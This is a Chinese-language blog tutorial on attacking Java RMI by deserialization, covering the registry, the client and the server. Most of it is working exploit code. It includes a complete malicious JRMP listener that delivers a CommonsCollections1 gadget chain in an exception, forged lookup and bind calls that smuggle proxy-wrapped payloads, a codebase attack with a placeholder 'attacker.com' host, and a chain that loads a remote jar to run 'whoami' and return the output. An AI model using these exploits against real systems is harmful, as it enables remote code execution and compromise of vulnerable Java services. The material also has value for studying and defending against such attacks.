java安全-RMI攻击方式

具体点如下

1
2
3
4
5
6
7
8
9
10
1、攻击客户端:
RegistryImpl_Stub#lookup->注册中心攻击客户端
DGCImpl_Stub#dirty->服务端攻击客户端
UnicastRef#invoke->服务端攻击客户端
StreamRemoteCall#executeCall->服务端/注册中心攻击客户端
2、攻击服务端
UnicastServerRef#dispatch->客户端攻击服务端
DGCImpl_Skel#dispatch->客户端攻击服务端
3、攻击注册中心
RegistryImpl_Skel#dispatch->客户端/服务端攻击注册中心

一、攻击 RMI Registry

注册中心方法位于 RegistryImpl_Skel#dispatch 中,如果存在对传入的对象调用 readObject() 方法,则可以利用,dispatch 里面对应关系如下:

  1. 任何人都可以调用的方法(本地 + 远程)
  • 1 — list (查看列表)
  • 2 — lookup (查找并获取对象)
  1. 只有本地(Localhost)才能调用的方法
  • 0 — bind (绑定新对象)
  • 3 — rebind (覆盖绑定对象)
  • 4 — unbind (解绑对象)

1.使用list方法获取绑定对象

1
2
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
System.out.println(Arrays.toString(registry.list()));

直接获取所有绑定对象

1
2
String[] list = Naming.list("rmi://127.0.0.1:1099");
System.out.println(Arrays.toString(list));

使用工具类获取所有绑定对象

俩种方法只是返回形式不同

image-20260220150828270

RegistryImpl_Stub(在客户端手里)通过网络把请求发给 -> RegistryImpl_Skel(在服务端) -> RegistryImpl_Skel 解包后调用 -> 真正的 RegistryImpl

image-20260220151510850

但是这里没有反序列化,所以危害特别小

2.bindrebind方法攻击

客户端调用bind方法时,逻辑如下

RegistryImpl_Stub(在客户端手里)通过网络把请求发给 -> RegistryImpl_Skel(在服务端) -> RegistryImpl_Skel 解包后调用 -> 真正的 RegistryImpl

java为了安全,在执行bind方法时,会在真正的 RegistryImpl判断执行绑定的ip是否为注册器本地,也就是

image-20260220153238139

checkAccess() 的工作原理很简单粗暴:

  1. 它会获取当前发起网络连接的客户端的 IP 地址。
  2. 它会将这个 IP 地址与服务端所在的本地地址(如 127.0.0.1 或本地网卡 IP)进行对比。
  3. 如果发现 IP 不是本地的,它会直接抛出 java.rmi.AccessException(拒绝访问异常)

但是,这个执行前先执行RegistryImpl_Skeldispatch 方法的case0代码块

image-20260220153636689

所以

1
2
3
4
5
6
7
8
9
10
11
12
13
Registry registry = LocateRegistry.getRegistry("10.174.74.64", 1099);

Object obj = CC1();
// 使用 Proxy.newProxyInstance 创建一个动态代理对象
// 要求这个代理对象实现 java.rmi.Remote 接口
// 并把恶意的 obj 作为该代理的 InvocationHandler
Remote proxy = (Remote) Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class<?>[]{Remote.class},
(InvocationHandler) obj
);

registry.bind("chaun",proxy);

这里没有直接bind obj,是因为bind方法第二个参数必须是remote的实现

【核心机制】 在 Java 中,反序列化一个 Proxy 对象时,必定会连带反序列化它肚子里的 InvocationHandler

image-20260220160034685 image-20260220161251961

rebind 类似

3.lookupunbind

lookup方法没有安全检查,可以随意调用

image-20260220163542947

RegistryImpl_Stub(在客户端手里)通过网络把请求发给 -> RegistryImpl_Skel(在服务端) -> RegistryImpl_Skel 解包后调用 -> 真正的 RegistryImpl

这里

1
RemoteObj remoteObj = (RemoteObj) registry.lookup("remoteObj");

这个参数为恶意类时,即可成功攻击

但是这里参数必须为String类型,于是尝试骗过编译器,直接使用底层发送恶意类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
        Registry registry = LocateRegistry.getRegistry("10.174.74.64", 1099);

Object obj = CC1();


// 使用 Proxy.newProxyInstance 创建一个动态代理对象
// 要求这个代理对象实现 java.rmi.Remote 接口
// 并把恶意的 obj 作为该代理的 InvocationHandler
Remote proxy = (Remote) Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class<?>[]{Remote.class},
(InvocationHandler) obj
);

// 1. 简单粗暴的“暴力反射” (获取 ref 和 operations)
Field[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();
fields_0[0].setAccessible(true);
UnicastRef ref = (UnicastRef) fields_0[0].get(registry);

//获取operations
Field[] fields_1 = registry.getClass().getDeclaredFields();
fields_1[0].setAccessible(true);
Operation[] operations = (Operation[]) fields_1[0].get(registry);



// 2. 神秘的“魔法数字” (伪造 RMI 请求)
RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);


// 3. “偷天换日”的写入
ObjectOutput var3 = var2.getOutputStream();
var3.writeObject(proxy);
ref.invoke(var2);

当 RMI Registry(服务端)收到一个 lookup 请求时,它预期的确实是一个 String 但是,服务端在验证这个对象是不是 String 之前,必须先把它从网络流里反序列化(readObject)出来

漏洞就发生在这个瞬间:只要把恶意对象塞进网络流,服务端一执行 readObject() 就会中招。等它反序列化完,发现“诶?这不是个 String 啊”并准备报错的时候,我们的代码(比如弹出计算器 calc)已经执行完了

image-20260220165437335

二、攻击client

1.JRMP攻击客户端

1.1、poc

这个是一个简化版本的CC1的黑客客户端

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
package chuan.rmi;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.ServerSocket;
import java.net.Socket;
import java.rmi.server.UID;
import java.util.HashMap;
import java.util.Map;

/**
* 极简版恶意 JRMP 服务端
* 逻辑:只监听端口 -> 识别 RMI 协议 -> 不管客户端发什么,直接扔个带毒的异常过去
*/
public class SimpleJRMPListener {

public static void main(String[] args) {
int port = 1099; // 默认 RMI 端口

try {
// 1. 本地生成准备投毒的 CC1 Payload 对象
Object payload = getCC1Payload("calc");

// 2. 启动 Socket 监听
ServerSocket ss = new ServerSocket(port);
System.out.println("[+] 恶意 JRMP 服务端已启动,正在监听端口 " + port + "...");

// 3. 死循环等待受害者(客户端)连接
while (true) {
Socket s = ss.accept();
System.out.println("[!] 接收到来自受害者的连接: " + s.getRemoteSocketAddress());

// 处理这次连接交互
handleConnection(s, payload);
}
} catch (Exception e) {
e.printStackTrace();
}
}

/**
* 处理底层的 JRMP 协议字节流交互
*/
private static void handleConnection(Socket s, Object payload) {
try {
DataInputStream in = new DataInputStream(s.getInputStream());
DataOutputStream out = new DataOutputStream(s.getOutputStream());

// ==========================================
// 阶段 1:RMI 握手 (Handshake)
// ==========================================
int magic = in.readInt(); // 读取前4个字节魔法数
short version = in.readShort();// 读取协议版本

// 校验魔法数是否为 0x4a524d49 (ASCII: JRMI)
if (magic != 0x4a524d49) {
System.out.println("[-] 不是合法的 JRMI 协议,断开连接。");
s.close();
return;
}

byte protocol = in.readByte(); // 读取协议类型
if (protocol == 0x4b) { // 0x4b 代表 StreamProtocol (基于流的协议)
// 服务端必须回复确认信号
out.writeByte(0x4e); // 0x4e 代表 ProtocolAck (协议确认)
out.writeUTF(s.getInetAddress().getHostAddress()); // 告诉客户端我的IP
out.writeInt(s.getPort()); // 告诉客户端我的端口
out.flush();

// 略过客户端随后发来的 Endpoint 标识信息
in.readUTF();
in.readInt();
}

// ==========================================
// 阶段 2 & 3:等待调用与恶意投毒 (Wait for Call & Exceptional Return)
// ==========================================
int op = in.readByte(); // 读取客户端的具体操作指令

if (op == 0x50) { // 0x50 代表 Call (客户端想要调用远程方法)
System.out.println("[*] 拦截到受害者的 Call 请求,准备投毒...");

// 【核心逻辑】:不要去解析客户端想调什么方法,直接开始装死报错!

out.writeByte(0x51); // 发送 0x51 (Return),告诉客户端我要返回结果了

// 必须使用 ObjectOutputStream 序列化对象
// 替换为这段模拟 RMI MarshalOutputStream 的代码
ObjectOutputStream oos = new ObjectOutputStream(out) {
/**
* RMI 规范要求在序列化每个类时,写入其 Codebase (类加载位置)
* 我们这里直接写入 null,告诉客户端:“本地找就行了,别去远程下”
*/
@Override
protected void annotateClass(Class<?> cl) throws IOException {
this.writeObject(null);
}

/**
* 针对动态代理类的特殊处理,同样写入 null
*/

protected void annotateProxyClass(Class<?>[] interfaces) throws IOException {
this.writeObject(null);
}
};

oos.writeByte(0x02); // 发送 0x02 (ExceptionalReturn),告诉客户端:“刚才执行报错了,这是一个异常对象”

new UID().write(oos); // 随便写入一个标准的 RMI UID 结构,凑齐协议格式

// 【封装炸弹】:实例化原生异常类,并通过反射把 payload 塞进 val 属性
BadAttributeValueExpException ex = new BadAttributeValueExpException(null);
Field valField = ex.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(ex, payload); // 此时 payload(CC1链) 已经被包裹在异常中了

// 将带有恶意 Payload 的异常发给客户端!
oos.writeObject(ex);
oos.flush();
out.flush();

System.out.println("[+] 投毒完成!受害者如果存在反序列化漏洞,即将触发 RCE!\n");
}
s.close();
} catch (Exception e) {
System.out.println("[-] 连接处理异常断开。");
}
}

/**
* 原生生成 CC1 (TransformedMap 变种) Payload 的方法
*/
private static Object getCC1Payload(String command) throws Exception {
// 1. 构造核心的 Transformer 执行链,利用反射调用 Runtime.getRuntime().exec(command)
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{command})
};
Transformer transformerChain = new ChainedTransformer(transformers);

// 2. 构造一个正常的 Map,并使用 TransformedMap 包装它,绑定我们的执行链
Map<String, String> innerMap = new HashMap<>();
innerMap.put("value", "test");
// 当这个 Map 的 value 被修改时,就会触发 transformerChain
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

// 3. 寻找触发点:利用 JDK 内部类 AnnotationInvocationHandler
// 它的 readObject 方法在反序列化时,会自动遍历并修改 Map 的值,从而引爆上面的 TransformedMap
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);

// 实例化 AnnotationInvocationHandler 并将带有执行链的 map 传进去
// Retention.class 只是用来满足其构造函数的参数要求,无实际意义
return constructor.newInstance(Retention.class, outerMap);
}
}

我们这里主要攻击的是这里

sun/rmi/transport/StreamRemoteCall.java中的executeCall方法

image-20260220202240550

而且这个客户端方法是针对所有的,几乎所有客户端方法调用网络请求的时候都会走到这里

1.2、第一阶段:握手

  • 正常交互
    • 客户端(顾客):推门进来说 “JRMI” (发送魔法数和版本号)
    • 服务端(服务员):回复 0x4e (ProtocolAck),说“欢迎光临,我是XX号桌服务员”
  • 我们动的手脚完全没动手脚,我们在伪装。
    • 为了不让客户端起疑心,我们的代码在这个阶段完全遵循了 JRMP 规范,老老实实地回了 0x4e 和自己的 IP 端口。这就是所谓的“装作自己是一个合法的 RMI 服务”

1.3、第二阶段:调用

  • 正常交互
    • 客户端发送 0x50 (Call) 指令,紧接着会发一堆数据:想要调用哪个对象 (ObjID)、调用哪个方法 (Method Hash)、以及传了什么参数 (Arguments)
    • 服务端收到 0x50 后,会认认真真地把这些数据读取出来,进行反序列化,找到对应的方法去执行
  • 我们动的手脚装聋作哑,无视请求。
    • 在我们的代码中,一旦读取到 0x50,我们根本不去读它想调什么方法,也不去读它传了什么参数(甚至为了防身,还限制了服务端自己的反序列化权限)
    • 这就好比顾客刚张嘴说“我要点一份……”,服务员直接捂住耳朵不听了,因为服务员(我们)根本没打算给顾客做菜

1.4、第三阶段:返回

  • 正常交互
    • 正常返回 (Normal Return):如果刚才的方法执行成功了,服务端会先发 0x51 (Return),再发 0x01 (表示正常返回),最后把方法的返回值序列化发给客户端。
    • 异常返回 (Exceptional Return):如果服务端执行方法时自己内部报错了(比如查数据库报了 SQLException),服务端会发 0x51,再发 0x02 (表示异常返回),最后把真实的异常对象序列化发给客户端。客户端收到后会自动反序列化,在自己的控制台打印出服务端的报错堆栈,方便调试
  • 我们动的手脚借刀杀人,强制投毒。
    • 我们直接跳过了执行方法的步骤,强行发送了 0x51 (Return) 和 0x02 (Exceptional Return)
    • 我们没有发送真实的业务异常,而是精心挑选了 BadAttributeValueExpException 这个原生的 JDK 异常类,并通过反射把包含恶意代码的 CC1 链塞进了它的肚子里
    • 这就好比顾客刚点完菜,服务员立刻端上来一盘“毒苹果”,骗顾客说:“你刚才点的菜做失败了,这是失败原因,你尝尝(反序列化)就知道了”

总结:真正的杀招在哪里?

我们最大的手脚就是利用了 Java RMI 协议中**“客户端必须无条件反序列化服务端抛出的异常对象”**这一信任机制

正常的 RMI 设计者认为,异常对象都是老老实实的报错信息。但他们没料到,攻击者可以把一个庞大且恶意的“利用链(Gadget Chain)”伪装成一个异常对象。只要受害者客户端按照协议去反序列化这个异常,漏洞就触发了

image-20260220202757187

2.恶意返回对象

image-20260220203912302

攻击点是这里,这里如果被调用有返回值时,会将返回值反序列化获取其值,于是我们构造恶意返回类

1
2
3
4
5
6
7
8
9
10
11
12
13
public RemoteObjImpl() throws RemoteException {
//UnicastRemoteObject.exportObject(this, 0); // 如果不能继承 UnicastRemoteObject 就需要手工导出
}

@Override
public Object sayHello(String keywords) throws Exception {
String upKeywords = keywords.toUpperCase();
System.out.println(upKeywords);
System.out.println("恶意类加载!!!");
return CC1();
}
public static Object CC1() throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
Class r = Runtime.class;

CC1是一个静态方法,用来获取CC1 payload

image-20260220203718068

3.利用codebase恶意返回类

RMI(Remote Method Invocation)在传输对象时,需要解决一个问题:接收方如果没有某个类的定义怎么办?

Java 为此设计了 codebase 机制 —— 允许在序列化数据中附带一个 URL,告诉接收方”如果你没有这个类,去这个地址下载”。

核心机制:ObjectOutputStream 写入 codebase

当序列化一个对象时,JVM 会把该类的 codebase 写入流中:

1
2
3
4
5
// 序列化流结构(简化)
TC_CLASSDESC
className: "com.evil.Payload"
codebase: "http://attacker.com/malicious/" ← 攻击者控制的地址
serialVersionUID: ...

接收方在反序列化时,若本地 ClassLoader 找不到该类,就会尝试从 codebase URL 动态加载。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
攻击者                          受害者RMI服务端
│ │
│ 1. 构造含恶意codebase的序列化对象 │
│ ─────────────────────────────► │
│ │
│ │ 2. 反序列化时找不到类
│ │ 检查 codebase URL
│ │
│ 3. 受害者主动来下载恶意类 │
│ ◄───────────────────────────── │
│ GET /Payload.class │
│ │
│ 4. 返回恶意字节码 │
│ ─────────────────────────────► │
│ │ 5. defineClass() 加载
│ │ 执行静态块 / 构造器
│ │ RCE ✓
条件 说明
java.rmi.server.useCodebaseOnly=false 允许使用远程 codebase(旧版默认值)
SecurityManager 开启但配置宽松 或无 SecurityManager(更危险)
接收方本地没有该类 才会触发远程加载
RMI 注册表或服务端信任客户端输入 攻击面不同

⚠️ Java 6u45 / 7u21 之后,useCodebaseOnly 默认改为 true,即只信任本地 codebase,但很多老系统仍然手动关闭了这个限制

三、攻击服务端

这里攻击的点是这里

1. Stub 和 Skeleton(RMI 的代理机制)

1
2
3
4
5
6
7
8
9
10
11
12
Client 拿到的 r 并不是真正的服务端对象
r 是一个 Stub(存根/代理对象)

r.evil(payload)

实际调用的是 Stub.evil()

Stub 内部做的事:
1. 建立 TCP 连接到服务端
2. 序列化方法名 + 参数
3. 发送字节流
4. 等待返回值

服务端有对应的 Skeleton:

1
2
3
4
5
6
7
Skeleton 收到字节流

反序列化参数 ← 漏洞触发点就在这里

调用真正的 RemoteHelloWorld.evil(obj)

序列化返回值,发回 Client

2. 关键底层类调用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
// Client 调用 r.evil(payload) 时,底层实际执行:

// ① Stub 序列化参数
RemoteRef.invoke()
→ UnicastRef.invoke()
→ MarshalOutputStream(继承自ObjectOutputStream)
→ writeObject(payload) // 把 payload 序列化

// ② 服务端 Skeleton 接收并反序列化
UnicastServerRef.dispatch() // 核心!接收请求的入口
→ unmarshalParameters()
→ MarshalInputStream(继承自ObjectInputStream)
→ readObject() // 反序列化,触发漏洞!
→ evil(obj) // 调用真正的方法(此时已经晚了)
image-20260220220301985
1
2
RemoteObj chuan  = (RemoteObj) registry.lookup("remoteObj");
chuan.sayHello(CC1());

image-20260220220542917

版本小于8u121就可以用

四、进阶攻击方式

“回显”

普通的 CC1 攻击有个致命缺陷:

1
2
3
4
5
6
7
runtime.exec("whoami")

命令在服务端执行了

结果在服务端的进程里

攻击者完全看不到结果!

打了个命令,但你不知道执行结果,这在实战中几乎没用。回显攻击就是要把命令结果带回到客户端


整体思路

1
2
3
4
5
6
7
普通攻击:客户端 ──payload──► 服务端执行命令(结果不可见)

回显攻击:客户端 ──payload──► 服务端加载远程jar
→ 执行命令
→ 把结果塞进 Exception
→ 抛出 Exception
→ RMI把异常传回客户端 ← 结果回来了!

关键利用点:RMI 遇到异常会把异常对象序列化后发回客户端,这是 RMI 的正常机制,被巧妙利用了


远程 jar 的作用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class ErrorBaseExec {
public static void do_exec(String args) throws Exception {
// 执行命令
Process proc = Runtime.getRuntime().exec(args);

// 读取命令输出
BufferedReader br = new BufferedReader(
new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}

// 把结果塞进异常然后抛出 ← 核心!
String result = sb.toString();
Exception e = new Exception(result);
throw e; // 抛出,RMI会把它发回客户端
}
}

这个类不在服务端的 classpath 里,它放在攻击者自己的 HTTP 服务器上,打包成 jar。服务端要用的时候通过 URLClassLoader 远程加载。


Transformer 链拆解

这次的链比 CC1 复杂,它要做的事是:

1
2
3
4
URLClassLoader 加载远程 jar
→ 拿到 ErrorBaseExec 类
→ 调用 do_exec("whoami")
→ 触发异常回显

逐步拆解:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// 第1步:拿到 URLClassLoader 这个 Class 对象
new ConstantTransformer(java.net.URLClassLoader.class)
// 输出:URLClassLoader.class

// 第2步:拿到 URLClassLoader 的构造器
// 等价于:URLClassLoader.class.getConstructor(URL[].class)
new InvokerTransformer("getConstructor",
new Class[]{Class[].class},
new Object[]{new Class[]{java.net.URL[].class}})
// 输出:Constructor 对象

// 第3步:实例化 URLClassLoader,指向远程 jar
// 等价于:new URLClassLoader(new URL[]{new URL("http://攻击者/RMIexploit.jar")})
new InvokerTransformer("newInstance",
new Class[]{Object[].class},
new Object[]{new Object[]{
new java.net.URL[]{new java.net.URL(remotejar)}
}})
// 输出:URLClassLoader 实例(已指向远程jar)

// 第4步:从 jar 里加载 ErrorBaseExec 类
// 等价于:classLoader.loadClass("ErrorBaseExec")
new InvokerTransformer("loadClass",
new Class[]{String.class},
new Object[]{"ErrorBaseExec"})
// 输出:ErrorBaseExec 的 Class 对象

// 第5步:拿到 do_exec 方法
// 等价于:ErrorBaseExec.class.getMethod("do_exec", String.class)
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"do_exec", new Class[]{String.class}})
// 输出:Method 对象

// 第6步:调用 do_exec("whoami")
// 等价于:method.invoke(null, "whoami")
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new String[]{"whoami"}})
// 触发命令执行,抛出包含结果的异常

用 registry.bind()

这里和之前的攻击有个重要区别:

1
2
3
4
5
// 之前:直接调用服务端方法
r.evil(payload)

// 现在:往注册中心 bind 一个恶意对象
registry.bind("liming", r)

原因是这个攻击打的是注册中心本身,不是具体的服务方法。

registry.bind() 在底层同样会把参数序列化发过去,注册中心收到后反序列化,触发漏洞。而且注册中心会把异常发回客户端,形成回显通道。


动态代理的作用

这里有个特殊处理:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// 直接把 payload 对象 bind 不行,因为 bind 需要 Remote 类型参数
// registry.bind(String name, Remote obj) ← 必须是 Remote

// 所以用动态代理包装一下,让它看起来是 Remote 类型
InvocationHandler h = (InvocationHandler) getFirstCtor(ANN_INV_HANDLER_CLASS)
.newInstance(Target.class, outerMap);
// ↑ AnnotationInvocationHandler 实现了 InvocationHandler

Remote r = Remote.class.cast(
Proxy.newProxyInstance(
Remote.class.getClassLoader(),
new Class[]{Remote.class}, // 声明实现 Remote 接口
h // 实际处理器是恶意的 h
)
);
// 外表是 Remote,内部是恶意 payload
// 类型检查通过,序列化时带着恶意数据
registry.bind("liming", r);
外表:Remote 对象(通过类型检查)
内部:AnnotationInvocationHandler(含恶意链)

序列化发给注册中心
注册中心反序列化时触发链

回显如何实现

1
2
3
4
// 客户端捕获异常,层层 getCause 拿到真正的消息
catch (Exception e) {
System.out.print(e.getCause().getCause().getCause().getMessage());
}

为什么要三层 getCause?因为异常被 RMI 包了好几层:

1
2
3
4
5
ServerException(RMI外层包装)
└─ ServerError 或 RemoteException(RMI内层)
└─ ExceptionInInitializerError 或类似
└─ Exception("whoami的结果") ← 我们的异常
.getMessage() 拿到结果

具体实现

打包jar包开启服务器

1
http://127.0.0.1:8888/RMIexploit.jar

接着直接运行客户端,调用bind方法

image-20260220223505939

1
2
3
踩坑
1.恶意错误类代码误加包名
2.更改后要重新启动服务端,不然服务端判定之前bind之后就不重新bind